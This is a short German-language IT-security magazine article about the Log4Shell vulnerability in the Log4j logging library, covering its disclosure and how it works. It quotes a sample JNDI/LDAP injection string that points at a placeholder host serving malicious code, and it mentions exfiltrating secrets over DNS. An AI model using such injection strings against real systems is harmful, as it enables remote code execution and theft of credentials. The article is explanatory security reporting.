Markt + Trends | IT-Sicherheit | iX

Log4Shell: Jackpot-Schwachstelle für Cyberkriminelle

Mit Log4Shell kam eine neue „schlimmste Sicherheitslücke“ in die IT-Welt. Der Sicherheitsforscher und iX-Autor David Fuhr schätzt ein, wie gravierend sie wirklich ist.

Alles andere als erbaut war die chinesische Regierung, als Sicherheitsforschende des Cloud-Riesen Alibaba eine kritische Schwachstelle in Log4j nicht wie vorgesehen dem nationalen Ministerium für Industrie und IT, sondern stattdessen der Apache Foundation meldeten. Der daraufhin innerhalb weniger Tage entwickelte Patch für die beliebte Java-Logging-Bibliothek schloss nach Meinung vieler Fachleute eine der kritischsten Schwachstellen, die es bisher gegeben hat.

Das Problem war eine String-Ersetzungsfunktion innerhalb der Logging-Funktion, durch die Code in Form von Java-Objekten aus der Ferne nachgeladen und ausgeführt werden kann. So genügte es, Daten der Form ${jndi:ldap(s)://example.com/schadcode} auf einem beliebigen System protokollieren zu lassen, um es anzugreifen. Und selbst wenn Codeausführung oder Privilege Escalation nicht möglich war, konnten per DNS sehr leicht Daten exfiltriert werden, etwa um geheimes Schlüsselmaterial aus Umgebungsvariablen zu stehlen.